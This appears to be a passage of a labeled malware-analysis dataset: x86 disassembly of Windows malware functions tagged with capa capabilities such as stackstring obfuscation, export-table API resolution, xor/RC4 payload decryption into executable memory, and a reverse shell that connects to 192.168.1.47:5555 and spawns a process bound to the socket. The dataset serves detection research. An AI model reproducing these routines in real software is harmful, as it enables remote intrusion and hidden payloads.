joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10011906
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x67
mov byte [ebp - 0x12], 0x69
mov byte [ebp - 0x11], 0x73
mov byte [ebp - 0x10], 0x74
mov byte [ebp - 0xf], 0x65
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x53
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x72
mov byte [ebp - 0xa], 0x76
mov byte [ebp - 9], 0x65
mov byte [ebp - 8], 0x72
jb 0x10011901
inc ebp
stc
add byte [ebp - 0x74af17bb], cl
or eax, 0x1004608f
push ecx
call fcn.10012110
add esp, 8
mov dword [ebp - 4], eax
call dword [ebp - 4]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10011939
Capabilities:
Contain obfuscated stackstrings

Disassembly:
insb byte es:[edi], dx
jb 0x10011901
inc ebp
stc
add byte [ebp - 0x74af17bb], cl
or eax, 0x1004608f

Function at 0x100119e0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov byte [ebp - 0x10], 0x44
mov byte [ebp - 0xf], 0x6c
mov byte [ebp - 0xe], 0x6c
mov byte [ebp - 0xd], 0x49
mov byte [ebp - 0xc], 0x6e
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x74
mov byte [ebp - 9], 0x61
mov byte [ebp - 8], 0x6c
mov byte [ebp - 7], 0x6c
mov byte [ebp - 6], 0
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [0x1004608f]
push ecx
call fcn.10012110
add esp, 8
mov dword [ebp - 4], eax
call dword [ebp - 4]
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10011a40
Capabilities:
Contain obfuscated stackstrings
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push esi
mov byte [ebp - 0x4c], 0x38
mov byte [ebp - 0x4b], 0x6b
mov byte [ebp - 0x4a], 0x4f
mov byte [ebp - 0x49], 0x5a
mov byte [ebp - 0x48], 0x23
mov byte [ebp - 0x47], 0x51
mov byte [ebp - 0x46], 0x23
mov byte [ebp - 0x45], 0x5a
mov byte [ebp - 0x44], 0x56
mov byte [ebp - 0x43], 0x4d
mov byte [ebp - 0x42], 0x6b
mov byte [ebp - 0x41], 0x50
mov byte [ebp - 0x40], 0x76
invalid
inc ebp

Function at 0x10011a80
Capabilities:
Contain obfuscated stackstrings

Disassembly:
ror dword [esi + eax*8 + 0x45], 0xc2
cmp al, 0xc6
inc ebp
ret
Function at 0x10011be2
Capabilities:
Encrypt data using rc4 prga

Disassembly:
call dword [eax - 0x18]
inc edi
or byte [eax], al
add byte [ebx + 0x458904c4], al
lodsb al, byte [esi]
push 0xe3142
mov ecx, dword [ebp - 0x54]
push ecx
call fcn.10012490
add esp, 8
mov dword [ebp - 0x5c], eax
push 0xd5786
mov edx, dword [ebp - 0x54]
push edx
call fcn.10012490
add esp, 8
mov dword [ebp - 0x80], eax
push 0x348bfa
mov eax, dword [ebp - 0x54]
push eax
call fcn.10012490
add esp, 8
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x58], 0x30600
push 4
push 0x3000
mov ecx, dword [ebp - 0x58]
push ecx
push 0
call dword [ebp - 0x5c]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x1c], 0
jmp 0x10011c57
mov edx, dword [ebp - 0x1c]
add edx, 1
mov dword [ebp - 0x1c], edx
mov eax, dword [ebp - 0x1c]
cmp eax, dword [ebp - 0x58]
jae 0x10011c86
mov ecx, dword [ebp - 0x1c]
movzx ecx, byte [ecx + resource.0]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov esi, 0x1a
div esi
movzx edx, byte [ebp + edx - 0x4c]
xor ecx, edx
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x1c]
mov byte [eax], cl
jmp 0x10011c4e
mov ecx, dword [ebp - 0x10]
push ecx
call fcn.100121e0
add esp, 4
mov dword [ebp - 0xac], eax
push 0x40
push 0x3000
mov edx, dword [ebp - 0xac]
push edx
push 0
call dword [ebp - 0x5c]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10011cbb
xor eax, eax
jmp 0x1001207b
mov eax, dword [ebp - 0x10]

Function at 0x10012110
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ebp - 0x10]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14], edx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x14]
cmp dword [edx + ecx + 0x78], 0
add byte [ebp + 7], dh
xor eax, eax
jmp 0x100121d5
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x18], edx
mov dword [ebp - 8], 0
jmp 0x10012171
Function at 0x10012490
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x10], edx
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx + 0x78]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x14], edx
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 4], 0
jmp 0x100124f3
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 4]
cmp eax, dword [edx + 0x18]
jae 0x10012535
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x14]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp - 0x18]
push ecx
call fcn.100123f0
add esp, 4
cmp eax, dword [ebp + 0xc]
jne 0x10012533
mov edx, dword [ebp - 4]
mov eax, dword [ebp - 0x1c]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x20]
mov eax, dword [ebp + 8]
add eax, dword [edx + ecx*4]
jmp 0x10012537
jmp 0x100124ea
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x401000
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x41b0a8]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x41c480
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0
push 0
push 0
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_WSASocketA]
mov dword [0x41c470], eax
push str.192.168.1.47
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov dword [ebp - 0x28], eax
mov eax, 4
imul ecx, eax, 0
mov edx, dword [ebp - 0x28]
mov eax, dword [edx + 0xc]
mov ecx, dword [ecx + eax]
mov edx, dword [ecx]
push edx
call dword [sym.imp.WS2_32.dll_inet_ntoa]
push eax
push 0x41c450
call fcn.004040c0
add esp, 8
mov eax, 2
mov word [0x41c460], ax
push 0x15b3
call dword [sym.imp.WS2_32.dll_htons]
mov word [0x41c462], ax
push 0x41c450
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [0x41c464], eax
push 0
push 0
push 0
push 0
push 0x10
push 0x41c460
mov ecx, dword [0x41c470]
push ecx
call dword [sym.imp.WS2_32.dll_WSAConnect]
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
test eax, eax
jne 0x4011ab
push 0x44
push 0
push 0x41c400
call fcn.00401db0
add esp, 0xc
mov dword [0x41c400], 0x44
mov dword [0x41c42c], 0x100
mov edx, dword [0x41c470]
mov dword [0x41c440], edx
mov eax, dword [0x41c440]
mov dword [0x41c43c], eax
mov ecx, dword [0x41c43c]
mov dword [0x41c438], ecx
mov dword [ebp - 0x2c], 0x41b010
mov dword [ebp - 0x30], str.a8aAx___1axx_11d81171123nah
mov dword [ebp - 0x24], 0
jmp 0x40112a
mov edx, dword [ebp - 0x24]
add edx, 1
mov dword [ebp - 0x24], edx
cmp dword [ebp - 0x24], 0x1b
jge 0x40114d
mov eax, dword [ebp - 0x2c]
add eax, dword [ebp - 0x24]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x30]
add edx, dword [ebp - 0x24]
movsx eax, byte [edx]
xor ecx, eax
mov edx, dword [ebp - 0x24]
mov byte [ebp + edx - 0x20], cl
jmp 0x401121
push 0x41c3e0
push 0x41c400
push 0
push 0
push 0x8000000
push 1
push 0
push 0
lea eax, [ebp - 0x20]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
jne 0x40119c
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41c610], eax
mov ecx, dword [0x41c610]
push ecx
push str.____CreateProcess_...___Error:__d_n
call fcn.00401230
add esp, 8
push 1
call fcn.00404527
push str.___Process_created._n
call fcn.00401230
add esp, 4
jmp 0x4011d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [0x41c610], eax
mov edx, dword [0x41c610]
push edx
push str.___WSAConnect_...___Error:__d_n
call fcn.00401230
add esp, 8
push 1
call fcn.00404527
jmp 0x4011d5
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040126a
mov esp, ebp
pop ebp
ret

Function at 0x401a6f
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401aae
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401aae
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401aae
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401aae
cmp dword [ecx + 0x74], 0xe
jbe 0x401aae
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x407b35
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4155c0
push 0x4155b8
push str.FlsAlloc
push 0x1e
call fcn.004079f6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407b69
push dword [ebp + 8]
mov ecx, esi
call dword [0x414138]
call esi
jmp 0x407b6f
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x407bb3
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x4155d0
push 0x4155c8
push str.FlsGetValue
push 0x20
call fcn.004079f6
mov esi, eax
add esp, 0x10
test esi, esi
je 0x407bea
push dword [ebp + 8]
mov ecx, esi
call dword [0x414138]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40b0ed
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov esi, eax
test esi, esi
je 0x40b18a
push ebx
push esi
call fcn.0040b0b6
xor ebx, ebx
sub eax, esi
push ebx
push ebx
push ebx
push ebx
sar eax, 1
push eax
push esi
push ebx
push ebx
mov dword [ebp - 8], eax
call fcn.0040afff
add esp, 0x24
mov dword [ebp - 4], eax
test eax, eax
jne 0x40b137
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b189
push edi
push eax
call fcn.004082e8
mov edi, eax
pop ecx
push ebx
test edi, edi
jne 0x40b157
call fcn.00407889
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
xor eax, eax
jmp 0x40b188
push ebx
push dword [ebp - 4]
push edi
push dword [ebp - 8]
push esi
push ebx
push ebx
call fcn.0040afff
add esp, 0x20
test eax, eax
jne 0x40b176
push edi
call fcn.00407889
jmp 0x40b17e
push ebx
call fcn.00407889
mov ebx, edi
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov eax, ebx
pop edi
pop ebx
pop esi
leave
ret
Function at 0x413030
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x41305d
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x41305d
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x4035ac
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
push ebx
xor ebx, ebx
imul edx, dword [ebx + 0x443008], 0x8088405
inc edx
mov dword [ebx + 0x443008], edx
mul edx
mov eax, edx
pop ebx
ret

Function at 0x41ce90
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push ebp
mov esi, dword [ebp - 4]
mov edi, dword [ebp - 8]
cld
mov dl, 0x80
mov al, byte [esi]
add esi, 1
mov byte [edi], al
add edi, 1
mov ebx, 2
add dl, dl
jne 0x41cec1
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cea9
add dl, dl
jne 0x41cecc
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cf1d
xor eax, eax
add dl, dl
jne 0x41ced9
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x41cfba
add dl, dl
jne 0x41cee8
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cef3
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cefe
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf09
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x41cf13
mov ebx, edi
sub ebx, eax
mov al, byte [ebx]
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x41ceb8
mov eax, 1
add dl, dl
jne 0x41cf2b
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x41cf36
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cf22
sub eax, ebx
mov ebx, 1
jne 0x41cf69
mov ecx, 1
add dl, dl
jne 0x41cf4f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cf5a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cf46
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41ceb8
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x41cf80
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x41cf8b
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x41cf77
cmp eax, 0x7d00
sbb ecx, 0xffffffff
cmp eax, 0x500
sbb ecx, 0xffffffff
cmp eax, 0x80
adc ecx, 0
cmp eax, 0x80
adc ecx, 0
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x41ceb8
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x41cfdb
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x41ceb8
pop ebp
sub edi, dword [ebp - 8]
mov dword [ebp - 0xc], edi
pop edi
pop esi
pop ebx
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret
Function at 0x41efdc
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov ebx, edx
xor edx, edx
push ebp
push 0x4284ca
push dword fs:[edx]
mov dword fs:[edx], esp
xor edx, edx
mov dword [ebp - 8], edx
mov esi, ebx
xor ecx, ecx
cmp byte [eax + 0x6a], 0
je 0x41f02b
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x88]
test edx, edx
je 0x41f04a
mov ecx, edx
add ecx, ebx
jmp 0x41f04a
mov eax, ebx
xor edx, edx
push edx
push eax
mov eax, dword [esi + 0x3c]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, dword [eax + 0x78]
test edx, edx
je 0x41f04a
mov ecx, edx
add ecx, ebx
test ecx, ecx
je 0x41f0bc
mov esi, dword [ecx + 0x18]
mov eax, dword [ecx + 0x1c]
add eax, ebx
mov dword [ebp - 0x10], eax
mov edi, dword [ecx + 0x20]
add edi, ebx
mov eax, dword [ecx + 0x24]
add eax, ebx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 4]
cmp eax, 0xffff
jbe 0x41f0a5
test esi, esi
jbe 0x41f0bc
mov eax, dword [edi]
add eax, ebx
mov edx, dword [ebp - 4]
call fcn.004088ec
test eax, eax
jne 0x41f097
mov eax, dword [ebp - 0xc]
movzx eax, word [eax]
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
jmp 0x41f0bc
add dword [ebp - 0xc], 2
add edi, 4
dec esi
test esi, esi
ja 0x41f074
jmp 0x41f0bc
mov edx, eax
sub edx, dword [ecx + 0x10]
cmp edx, dword [ecx + 0x14]
jae 0x41f0bc
mov eax, edx
shl eax, 2
add eax, dword [ebp - 0x10]
mov eax, dword [eax]
mov dword [ebp - 8], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4284d1
ret
Function at 0x4201e8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x10], ebx
mov word [ebp - 4], cx
mov byte [ebp - 1], dl
xor eax, eax
push ebp
push 0x429803
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp + 8]
call fcn.00404cd0
xor ebx, ebx
mov eax, ebx
and eax, 0x80000001
jns 0x420223
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
jne 0x42023c
lea eax, [ebp - 0x10]
mov edx, dword [0x44530c]
mov edx, dword [edx]
mov edx, dword [edx + 0xc]
call fcn.00404d30
jmp 0x42024f
lea eax, [ebp - 0x10]
mov edx, dword [0x44530c]
mov edx, dword [edx]
mov edx, dword [edx + 0x10]
call fcn.00404d30
lea eax, [ebp - 0x10]
mov edx, ebx
sar edx, 1
jns 0x42025b
adc edx, 0
mov edx, dword [edx*4 + 0x444154]
call fcn.00404f20
push 0
push 0x80
push 3
push 0
push 1
push 0x80000000
mov eax, dword [ebp - 0x10]
call fcn.00404f04
push eax
call fcn.00406b1c
mov esi, eax
cmp esi, 0xffffffff
je 0x4203d5
mov eax, 0x40
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x40
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x4203c8
mov eax, edi
cmp word [eax], 0x5a4d
jne 0x4203c8
push 0
push 0
mov eax, dword [eax + 0x3c]
push eax
push esi
call fcn.00406ddc
mov eax, edi
call fcn.00403288
mov eax, 0x18
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0x18
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x4203c8
mov eax, edi
cmp dword [eax], 0x4550
jne 0x4203c8
add eax, 4
mov dword [ebp - 0xc], eax
cmp byte [ebp - 1], 0
je 0x420366
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x8664
jne 0x420366
mov eax, edi
call fcn.00403288
mov eax, 0xf0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xf0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x420366
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x420366
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
cmp byte [ebp - 1], 0
jne 0x4203c8
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x14c
jb 0x4203c8
mov eax, dword [ebp - 0xc]
cmp word [eax], 0x150
ja 0x4203c8
mov eax, edi
call fcn.00403288
mov eax, 0xe0
call fcn.00403268
mov edi, eax
push 0
lea eax, [ebp - 8]
push eax
push 0xe0
push edi
push esi
call fcn.00406d7c
test eax, eax
je 0x4203c8
mov eax, edi
mov dx, word [eax + 0x44]
cmp dx, word [ebp - 4]
jne 0x4203c8
mov eax, dword [eax + 0x10]
mov edx, dword [ebp + 0xc]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov edx, dword [ebp - 0x10]
call fcn.00404d0c
mov eax, edi
call fcn.00403288
push esi
call fcn.00406ad4
mov eax, dword [ebp + 8]
mov eax, dword [eax]
xor edx, edx
call fcn.0040502c
jne 0x4203ed
inc ebx
cmp ebx, 0x19
jne 0x420215
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x42980a
lea eax, [ebp - 0x10]
call fcn.00404cd0
ret
Function at 0x401f8d
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401fcc
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401fcc
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401fcc
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401fcc
cmp dword [ecx + 0x74], 0xe
jbe 0x401fcc
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x40f22e
Capabilities:
Create pipe

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
xor edi, edi
cmp dword [esi + 0x84], edi
jne 0x40f2cb
push edi
xor ebx, ebx
mov dword [esi + 0x84], 2
inc ebx
push ebx
push edi
call dword [sym.imp.kernel32.dll_CreateMutexW]
mov dword [esi + 0x44], eax
test eax, eax
je 0x40f2cb
push edi
push edi
push ebx
push edi
call dword [sym.imp.kernel32.dll_CreateEventW]
mov dword [esi + 0x9c], eax
test eax, eax
je 0x40f2cb
push 4
push 0xffffffffffffffff
push esi
push 0x40f9e5
push eax
lea eax, [esi + 0x40]
push eax
call dword [sym.imp.kernel32.dll_RegisterWaitForSingleObject]
test eax, eax
je 0x40f2cb
lea eax, [esi + 0x20]
cmp dword [eax + 0x14], 8
jb 0x40f296
mov eax, dword [eax]
push dword [esi + 0x38]
push edi
push 0x40
push 0x40
push ebx
push 6
push 0x40080003
push eax
call dword [sym.imp.kernel32.dll_CreateNamedPipeW]
mov dword [esi + 0x3c], eax
cmp eax, 0xffffffff
je 0x40f2cb
push dword [esi + 0x9c]
call dword [sym.imp.kernel32.dll_SetEvent]
test eax, eax
jne 0x40f2d1
mov dword [esi + 0x84], ebx
xor al, al
pop edi
pop esi
pop ebx
ret
mov al, bl
jmp 0x40f2cd

Function at 0x413ca1
Capabilities:
Identify system language via api

Disassembly:
push ebx
mov ebx, ecx
push esi
test dl, dl
je 0x413cb1
call dword [sym.imp.kernel32.dll_GetSystemDefaultLangID]
jmp 0x413cb7
call dword [sym.imp.kernel32.dll_GetUserDefaultLangID]
xor edx, edx
movzx esi, ax
mov ecx, 0x409
push edi
mov edi, edx
mov eax, ecx
cmp si, ax
je 0x413cdf
inc edi
imul eax, edi, 0x1a
movzx eax, word [eax + 0x438830]
test ax, ax
jne 0x413cc6
mov esi, ecx
jmp 0x413ce2
movzx esi, si
pop edi
cmp cx, si
je 0x413cff
inc edx
imul eax, edx, 0x1a
movzx ecx, word [eax + 0x438830]
test cx, cx
jne 0x413ce3
mov eax, 0x437338
jmp 0x413d07
imul eax, edx, 0x1a
add eax, 0x438832
push eax
mov ecx, ebx
call main
pop esi
mov eax, ebx
pop ebx
ret

Function at 0x41f7fe
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
pushal
call 0x41f80d
pop dword [ebp - 0x50]
mov eax, 0x766ba611
add eax, 0x89d651fc
sub dword [ebp - 0x50], eax
push 0x40
push 0x1000
push 0x494ef
push 0
mov eax, 0x16f97445
add eax, 0xe9494eb7
add eax, dword [ebp - 0x50]
call dword [eax]
mov ecx, 0xab45964d
add ecx, 0x54bacbb9
mov ebx, eax
mov esi, 0x448800
add esi, dword [ebp - 0x50]
mov edx, 0x9bcb182a
add dword [ebp - 0xc], ebx
mov edi, dword [esi]
sub edi, edx
xor dword [ebp - 0x40], 0x8e9e28f
mov dword [ebx], edi
add ebx, 4
add esi, 0x6fe4b89a
add esi, 0x901b476a
loop 0x41f860
add eax, 0x89809257
sub eax, 0x897f176c
mov ebx, eax
add eax, 0x9d617e8d
sub eax, 0x9d617e88
mov ecx, 0x9665802f
add ecx, 0x69da7fd1
add ecx, dword [ebp - 0x50]
call ebx
leave
ret
Function at 0x40107e
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax]
push esi
push edi
mov edi, dword [eax + 4]
mov eax, dword [0x45b6c8]
mov dword [ebp - 0x28], eax
mov eax, dword [str.V7]
xor esi, esi
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0xc]
mov dword [ebp - 0xc], esi
call fcn.00401077
mov eax, dword [0x45b6d0]
add dword [ebp - 0xc], 0x23f
mov dword [ebp - 0x20], eax
mov eax, dword [0x45b6d4]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x1c], 0x20
jmp 0x4010ce
xor esi, esi
mov dword [ebp - 8], 2
add dword [ebp - 8], 3
mov eax, ebx
shl eax, 4
cmp dword [0x46a914], 0xc
mov dword [ebp - 4], eax
jne 0x4010f8
push esi
lea eax, [ebp - 0x30]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
mov eax, dword [ebp - 0x20]
add dword [ebp - 4], eax
mov eax, dword [0x46a914]
cmp eax, 0xfa9
jne 0x401114
mov dword [0x46a910], 0xedeb2e40
cmp eax, 0x3eb
jne 0x401133
push str.komovavukuniburubawumukoni
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov dword [0x46a868], esi
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 8]
mov edx, ebx
add eax, ebx
shr edx, cl
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [0x46a90c], 0xf4ea3dee
add edx, dword [ebp - 0x24]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x18]
add dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
xor dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
xor eax, edx
sub edi, eax
mov eax, edi
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
mov esi, edi
shr esi, cl
add eax, edi
mov dword [ebp - 0x18], eax
add esi, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x18]
xor dword [ebp - 4], eax
cmp dword [0x46a914], 0xb03
jne 0x4011ac
push str.ruyenemilimusibubigukexem
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenMutexW]
xor dword [ebp - 4], esi
sub ebx, dword [ebp - 4]
add dword [ebp - 0xc], 0x61c88647
dec dword [ebp - 0x1c]
jne 0x4010cc
mov eax, dword [ebp + 8]
mov dword [eax + 4], edi
pop edi
pop esi
mov dword [eax], ebx
pop ebx
leave
ret 4